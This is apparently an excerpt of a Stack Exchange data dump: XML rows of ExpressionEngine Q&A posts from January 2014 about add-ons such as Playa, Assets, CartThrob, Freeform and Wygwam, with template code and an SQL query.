  <row Id="18982" PostTypeId="2" ParentId="18023" CreationDate="2014-01-31T17:59:58.023" Score="2" Body="&lt;p&gt;When updating files connected to a CloudFront distribution you can speed up the required waiting period by invalidating the modified files. In many cases this reduces the waiting period to update CloudFront edge locations from days to under an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details here: &#xA;&lt;a href=&quot;http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2686" LastActivityDate="2014-01-31T17:59:58.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18983" PostTypeId="1" CreationDate="2014-01-31T18:05:47.650" Score="1" ViewCount="54" Body="&lt;p&gt;See subject. Wondering if anyone has needed the ability to select an Assets directory&#xA;(e.g. on Rackspace) for a channel field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method (1) (ugly): use the supplied Assets file chooser for a channel field, choose a &#xA;file, and other code that uses this just ignores the filename. This is confusing for an &#xA;EECP user creating/editing such a channel entry. The &quot;display settings&quot; for such a field &#xA;does not let one hide the &quot;Name&quot; column either, which seems to be hard-coded in assets &#xA;in quite a few places and not easily changeable. Hiding that field just makes it a &#xA;little less confusing for an EECP user. A further strike against this is it also &#xA;requires a file exist in any directory to be chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method (2): Write a channel field add-on, can likely be as easy as getting the &#xA;directories from an Assets source (which are in the EE DB, since Assets indexes things) &#xA;and presenting a drop-down list of directories for a given Assets source. This is likely&lt;br&gt;&#xA;best, except for (4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method (3): Text field, and can validate is an actual path. Dead simple, but is a pain &#xA;because would require the EECP user type in and already know the path name ahead of&lt;br&gt;&#xA;time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method (4): (Hi P&amp;amp;T!) Is such a feature planned in Assets? Would be nice.&lt;/p&gt;&#xA;" OwnerUserId="2687" LastEditorUserId="55" LastEditDate="2014-01-31T18:35:58.497" LastActivityDate="2014-04-01T19:08:36.833" Title="Pixel and Tonic Assets add-on -- Workarounds for Assets File Chooser Not Allowing a Directory to be Selected?" Tags="|ee2|channel-entries|assets|pixelandtonic|feature-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18984" PostTypeId="2" ParentId="18983" CreationDate="2014-01-31T18:38:09.707" Score="1" Body="&lt;p&gt;Your second suggestion (a custom fieldtype which lists all directories and subdirectories indexed by Assets) is the best option absolutely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send feature requests to support@pixelandtonic.com.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-31T18:38:09.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18985" PostTypeId="2" ParentId="18977" CreationDate="2014-01-31T18:48:27.393" Score="1" Body="&lt;p&gt;As it stands, &lt;code&gt;{field:grid_name}&lt;/code&gt; is (as far as I know) the only supported way to use a Grid field in a Channel Form. I do see that the docs make note of Grid fields under the &lt;code&gt;{custom_fields}&lt;/code&gt; section, but they then show simply using &lt;code&gt;{display_field}&lt;/code&gt; when you encounter a Grid field within the Custom Fields loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markup and interaction is pretty complex, so I guess they figure it's too difficult to support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;{field:grid_name}&lt;/code&gt; is not functioning as expected, make sure you haven't set &lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt;, and that you've &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#including-assets&quot; rel=&quot;nofollow&quot;&gt;loaded the Channel Form CSS styles&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-31T18:48:27.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18986" PostTypeId="1" CreationDate="2014-01-31T19:19:53.943" Score="1" ViewCount="216" Body="&lt;p&gt;I want to insert a simple exception, using an &quot;if&quot; statement, into the flow of my Playa field's output. But it's not working. Can I get help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code that works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{prac_area_contact_people backspace=&quot;3&quot;}&#xA;&amp;lt;a href=&quot;/people/bios/{url_title}&quot;&amp;gt;&amp;lt;nobr&amp;gt;{exp:tagstripper:stripAllTags}{people_first_name} {person_last_name}{/exp:tagstripper:stripAllTags}&amp;lt;/nobr&amp;gt;&amp;lt;/a&amp;gt;, &#xA;{/prac_area_contact_people}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;prac_area_contact_people&lt;/code&gt; is the name of my Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add some content to the end of the anchor tag in the 2nd line of the sample above, ONLY when the &lt;code&gt;person_last_name&lt;/code&gt; field is equal to a certain value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/people/bios/{url_title}/{if person_last_name == 'pollack'}professional_liability{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal is that when the &lt;code&gt;person_last_name&lt;/code&gt; field is &lt;code&gt;pollack&lt;/code&gt; it adds on the extra segment in the URL. But the thing fails. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2688" LastEditorUserId="55" LastEditDate="2014-01-31T21:37:24.977" LastActivityDate="2018-12-28T16:02:55.550" Title="Can't get my conditional to work inside a Playa field" Tags="|playa|conditionals|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18987" PostTypeId="1" AcceptedAnswerId="19006" CreationDate="2014-01-31T20:12:44.667" Score="0" ViewCount="65" Body="&lt;p&gt;Trying to build a simple event filtering system with categories (Seg2Cat) and dates. This is my current approach (which does not work): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events_submitted|events_internal&quot; category=&quot;{last_segment_category_id}&quot; date=&quot;{last_segment}&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did manually place a date in the parameter which also did not work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events_submitted|events_internal&quot; category=&quot;{last_segment_category_id}&quot; date=&quot;2014-06&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to be able to achieve these results with just the one tag: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://URL.dev/events/category/arts/2014-06/&quot; rel=&quot;nofollow&quot;&gt;http://URL.dev/events/category/arts/2014-06/&lt;/a&gt; &lt;strong&gt;(Doesn't Work)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://URL.dev/events/category/arts&quot; rel=&quot;nofollow&quot;&gt;http://URL.dev/events/category/arts&lt;/a&gt; &lt;strong&gt;(Works)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://URL.dev/events/2014-06/&quot; rel=&quot;nofollow&quot;&gt;http://URL.dev/events/2014-06/&lt;/a&gt; &lt;strong&gt;(Works)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible for them to play together? Or should I rethink the approach? Perhaps use Low Search?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2014-02-01T08:47:43.397" Title="Using Low Events with Seg2Cat?" Tags="|segments|low-seg2cat|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18988" PostTypeId="2" ParentId="18933" CreationDate="2014-01-31T20:23:46.993" Score="2" Body="&lt;p&gt;The problem is that the redirectee plugin use the native PHP header function which not support the 404 code. In fact it is a little bit strange to send a 404 with the header. Therefor you have to use a 302 code, the 404 page will send a 404 code on his page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for redirecting with the 404 code, you have the think of this QA:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User: Hey, do you have anything for me at this URI webserver?&lt;/li&gt;&#xA;&lt;li&gt;Webserver: Yes, I do, it's a 'PHP' page. It'll tell you what the&lt;br&gt;&#xA;response code is &lt;/li&gt;&#xA;&lt;li&gt;PHP: Hey, OMG 404!!!!!!!  &lt;/li&gt;&#xA;&lt;li&gt;Webserver: Well crap, the &#xA;404 page people have already gone home, so I'll just send along&lt;br&gt;&#xA;whatever PHP gave me&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I just uploaded a new version of the Redirectee with a check on this problem.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2014-01-31T20:23:46.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18989" PostTypeId="1" AcceptedAnswerId="19001" CreationDate="2014-01-31T20:45:23.530" Score="1" ViewCount="109" Body="&lt;p&gt;Is it possible to have shipping rates for a product's category group? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our example, we have gift cards of varying denominations. We'd like to charge $3 shipping for the first gift card, but not charge shipping for subsequent gift cards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can't use per-order shipping, because they will need separate per item rates for products such as shirts, event registration, etc.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-02-11T15:08:28.647" Title="Cartthrob shipping rates per category group" Tags="|cartthrob|shipping|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18990" PostTypeId="2" ParentId="18977" CreationDate="2014-01-31T20:46:49.273" Score="1" Body="&lt;p&gt;@Derek is correct. Simply use the &lt;code&gt;{field:grid_name}&lt;/code&gt; within the &lt;code&gt;{exp:channel:form}&lt;/code&gt; tag pair. Make sure you also include the channel form css: &lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if you're loading jQuery already you could run into some issues as the channel:form will load jQuery as well and you may receive errors and general oddities. You may want to add the &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt; parameter in the form tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also need to move jQuery to the head of your document if you do the above. I was getting errors as the fields were attempting to access jQuery before it was loaded.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-01-31T20:46:49.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18991" PostTypeId="2" ParentId="18937" CreationDate="2014-01-31T20:57:43.233" Score="0" Body="&lt;p&gt;There isn't a simple parameter for this. You must provide a time window for &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;, then filter for your day using a conditional. Here's a simple example for getting all events on Thursday for the current month:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;   date_range_start=&quot;year-month-01&quot;&#xA;   date_range_end=&quot;year-month-last&quot;&#xA;   pad_short_weeks=&quot;n&quot;}&#xA;   {events}&#xA;      {if '{event_start_date format=&quot;%l&quot;}' == &quot;Thursday&quot;}&#xA;         // Your event data&#xA;      {/if}&#xA;   {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, in a different scenario, if you have a specific date and want to &quot;zoom in&quot; on that date (eg. Jan 30th, which was a Thursday), you can also set &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; on the same date to display only events on that day:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;   date_range_start=&quot;2014-01-30&quot;&#xA;   date_range_end=&quot;2014-01-30&quot;&#xA;   pad_short_weeks=&quot;n&quot;}&#xA;   {events}&#xA;      // Your event data&#xA;   {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use also URI segments to determine what is used in the &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt; parameter is also important to avoid including all days from a full week row.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-31T20:57:43.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18992" PostTypeId="2" ParentId="18986" CreationDate="2014-01-31T21:17:44.440" Score="0" Body="&lt;p&gt;That should work as you have it, unless something else is parsing the conditional before Playa can get to it. Try using Playa’s &lt;code&gt;var_prefix&lt;/code&gt; param to prevent that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{prac_area_contact_people backspace=&quot;3&quot; var_prefix=&quot;person&quot;}&#xA;    &amp;lt;a href=&quot;/people/bios/{person:url_title}{person:if person_last_name == 'pollack'}/professional_liability{/person:if}&quot;&amp;gt;&#xA;        &amp;lt;nobr&amp;gt;{exp:tagstripper:stripAllTags}{person:people_first_name} {person_last_name}{/exp:tagstripper:stripAllTags}&amp;lt;/nobr&amp;gt;&#xA;    &amp;lt;/a&amp;gt;,&#xA;{/prac_area_contact_people}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-01-31T21:17:44.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18993" PostTypeId="2" ParentId="18989" CreationDate="2014-01-31T21:20:01.203" Score="2" Body="&lt;p&gt;Could you reverse-engineer a solution using discounts instead of shipping, which could be applied to a category, or a buy x get x off type scenario? Then your other per item shipping costs could still apply?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-01-31T21:20:01.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18994" PostTypeId="1" CreationDate="2014-01-31T21:30:10.690" Score="2" ViewCount="2752" Body="&lt;p&gt;I know this is more of a SQL question, but I'm having trouble getting EE to cooperate. I have entries that expire, and want to show only entries which have expired in the last 12 months. I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; SELECT entry_id, title, expiration_date&#xA; FROM exp_channel_titles&#xA; WHERE expiration_date BETWEEN date_sub(Now(), INTERVAL 12 MONTH) AND Now();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get zero results.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2020-02-14T18:16:42.863" Title="Get all entries where expiration date is within last 12 months" Tags="|query|mysql|sql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18995" PostTypeId="2" ParentId="18994" CreationDate="2014-01-31T21:30:10.690" Score="1" Body="&lt;p&gt;As far as I can tell, you must use use Unix Timestamp (ugh) to get proper results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id, title, expiration_date&#xA;FROM exp_channel_titles&#xA;WHERE expiration_date &#xA;BETWEEN &#xA;  unix_timestamp(date_sub(Now(), INTERVAL 12 MONTH)) &#xA;AND &#xA;  unix_timestamp(Now());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-01-31T21:30:10.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18996" PostTypeId="1" CreationDate="2014-01-31T21:35:31.223" Score="0" ViewCount="120" Body="&lt;p&gt;I am using Freeform Pro on a second site with Multiple Site Manager. As soon as I include the Freeform code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freeform:form &#xA;    form_name=&quot;careers&quot; &#xA;    required=&quot;first_name|last_name|email|message&quot;&#xA;    return=&quot;careers/thank-you&quot;&#xA;    user_email_field=&quot;email&quot;&#xA;}&#xA;    &amp;lt;table class=&quot;col2&quot;&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; placeholder=&quot;{freeform:label:first_name} *&quot; &amp;gt;&#xA;                &amp;lt;span class=&quot;clear&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; id=&quot;last_name&quot; placeholder=&quot;{freeform:label:last_name} *&quot; &amp;gt;&#xA;                &amp;lt;span class=&quot;clear&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;{freeform:label:email} *&quot; &amp;gt;&#xA;                &amp;lt;span class=&quot;clear&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; placeholder=&quot;{freeform:label:phone}&quot; &amp;gt;&#xA;                &amp;lt;span class=&quot;clear&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                &amp;lt;textarea name=&quot;message&quot; placeholder=&quot;{freeform:label:message} *&quot; &amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                &amp;lt;span class=&quot;clear&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;{freeform:label:upload_resume}&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;h6&amp;gt;(Word, Pages or PDF formats Only)&amp;lt;/h6&amp;gt;&amp;lt;br&amp;gt;{freeform:field:upload_resume show=&quot;2&quot;}&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;captcha&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;{freeform:captcha}&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; placeholder=&quot;TYPE THE CHARACTERS ABOVE&quot; &amp;gt;&amp;lt;/input&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;buttons&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;input class=&quot;button1&quot; type=&quot;reset&quot; value=&quot;Clear&quot; /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;&amp;lt;input class=&quot;button2&quot; type=&quot;submit&quot; value=&quot;Send&quot; /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;required&quot;&amp;gt;* Required Field&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;  &amp;lt;/table&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on a form template, the entire page displays completely blank. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2348" LastEditorUserId="2348" LastEditDate="2014-02-03T19:53:32.813" LastActivityDate="2014-02-03T19:53:32.813" Title="Page displays completely blank" Tags="|solspace-freeform|multi-site-manager|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18997" PostTypeId="1" CreationDate="2014-01-31T22:01:00.980" Score="0" ViewCount="177" Body="&lt;p&gt;EE v2.7.3 - Build Date: 20131210   /    Wygwam - 3.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I go to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CP Home -&gt; Add-ons -&gt; Fieldtypes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OR&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CP Home -&gt; Administration -&gt; Channel Fields -&gt; (any field group even if there is no wygwam field in the group)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ERROR I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Use of undefined&#xA;  constant FT_PATH - assumed 'FT_PATH' Filename:&#xA;  wygwam/ft.wygwam.ee1.php Line Number: 7 A PHP Error was encountered&#xA;  Severity: Warning&#xA;  Message: require_once(FT_PATHwygwam/config.php)&#xA;  [function.require-once]: failed to open stream: No such file or&#xA;  directory&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require_once() [function.require]: Failed opening&#xA;  required 'FT_PATHwygwam/config.php'&#xA;  (include_path='.:/usr/lib/php:/usr/local/lib/php') in &#xA;  third_party/wygwam/ft.wygwam.ee1.php on line 7&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can get to CP Home -&gt; Modules -&gt; Wygwam -&gt; Editor Configurations - and I resaved all my wygwam fields as per this post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3707/wygwam-php-errors-in-cp-after-upgrade&quot;&gt;WYGWAM PHP errors in CP after upgrade&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THAT post mentions a post to look at on &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://getsatisfaction.com/pixelandtonic&lt;/a&gt; but that info is &quot;retired&quot;  :-/  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, the community that you’re looking for has been retired and is&#xA;  no longer available. If you need help, please contact the company&#xA;  you're looking for directly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1733" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-02-01T21:17:42.270" Title="ACK! Can't edit fields - getting WYGWAM error after EE &amp; WYGWAM upgrade" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18999" PostTypeId="2" ParentId="18955" CreationDate="2014-01-31T22:36:14.117" Score="1" Body="&lt;p&gt;Judging by your use of {id}, {interval_units}, and {interval_length} I'm assuming you have all that wrapped in a &lt;code&gt;{exp:cartthrob:plans}&lt;/code&gt; tag pair and that you're trying to adjust the price of an existing plan. Here's how you would do that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:plans}&#xA;    {!-- specify the subscription plan id to add the item to the cart --}&#xA;    {exp:cartthrob:add_to_cart_form &#xA;         return=&quot;become_member/checkout&quot;&#xA;         subscription_plan_id=&quot;{id}&quot;&#xA;         form_class=&quot;form-horizontal&quot;&#xA;         allow_user_price=&quot;yes&quot;&#xA;         shipping_exempt=&quot;yes&quot;&#xA;         tax_exempt=&quot;yes&quot;&#xA;    }&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;price&quot; value=&quot;{price}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    ...&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Add plan&quot; /&amp;gt;&#xA;&#xA;    {/exp:cartthrob:add_to_cart_form}&#xA;{/exp:cartthrob:plans}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the other subscription settings (units, length, etc.) will be handled by your plan settings in the subscriptions module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you update your price field with javascript and submit that add to cart form, it will apply to your subscription plan price.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-31T22:36:14.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19000" PostTypeId="1" CreationDate="2014-01-31T22:57:29.873" Score="0" ViewCount="53" Body="&lt;p&gt;I am trying to show a default avatar if the member hasnt uploaded a custom avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:friends:mine reciprocal=&quot;y&quot; orderby=&quot;screen_name&quot; sort=&quot;asc&quot; limit=&quot;5&quot; member_group_id=&quot;6&quot; member_id=&quot;{segment_3}&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;li class=&quot;network&quot;&amp;gt;&#xA;  {if friends_avatar_url}&#xA;  &amp;lt;a href=&quot;{path='volunteers/profile'}/{member_id}/&quot;&amp;gt;&#xA;    {exp:ce_img:single src=&quot;{friends_avatar_url}&quot; width=&quot;50&quot; height=&quot;50&quot; }&#xA;    {friends_screen_name}&#xA;  &amp;lt;/a&amp;gt;&#xA;  {if:else}                  &#xA;  &amp;lt;a href=&quot;{path='volunteers/profile'}/{member_id}/&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{site_url}images/avatars/default_set/default-member-ph.png&quot; width=&quot;50&quot; height=&quot;50&quot;&amp;gt;&#xA;    {friends_screen_name}&#xA;  &amp;lt;/a&amp;gt;&#xA;  {/if}&#xA;&amp;lt;/li&amp;gt;&#xA;&#xA;{if friends_no_results}&#xA;&amp;lt;li class=&quot;noresults&quot;&amp;gt;No Volunteers&amp;lt;/li&amp;gt;&#xA;{/if}{/exp:friends:mine}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a reason why the conditional wouldn't work?&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2014-01-31T22:57:29.873" Title="Showing default avatar in Friends:mine" Tags="|ee2|solspace|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19001" PostTypeId="2" ParentId="18989" CreationDate="2014-01-31T23:26:58.840" Score="2" Body="&lt;p&gt;Unfortunately, there's currently nothing built into CartThrob that will handle that type of shipping functionality. You would need to create a custom shipping plugin.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-31T23:26:58.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19002" PostTypeId="1" CreationDate="2014-01-31T23:47:16.873" Score="0" ViewCount="53" Body="&lt;p&gt;I am trying to generate a link by parsing the category_url_title in a channel entries tag. However the link will randomly parse with the category in it and sometimes it will not. I am at a loss as to why it gets parsed this way. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;3&quot; category=&quot;4|5&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot; disable=&quot;category_fields|member_data|pagination&quot;}        &#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;/products/{categories limit=&quot;2&quot;}{category_url_title}{/categories}/{url_title}&quot;}&quot;&amp;gt;link here&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So sometimes the link gets parsed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://website.com/template/category_url_title/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and sometimes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://website.com/template/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody sheet some light on this, if familiar?&#xA;Thanks :-).&lt;/p&gt;&#xA;" OwnerUserId="1963" LastActivityDate="2014-01-31T23:47:16.873" 